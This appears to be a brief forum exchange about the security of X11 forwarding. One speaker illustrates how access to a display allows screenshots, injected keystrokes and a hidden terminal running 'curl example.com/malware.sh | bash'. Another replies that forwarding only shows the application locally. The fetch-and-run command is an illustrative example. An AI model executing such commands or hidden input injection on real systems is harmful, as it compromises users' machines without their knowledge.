You can grab screenshots, manipulate windows, and inject keyboard and mouse inputs. Find the application menu, open a terminal, curl example.com/malware.sh | bash and hide the window.
The X-Forward I have done just gives you the application in your own Desktop Environment. Shure depends on the application itself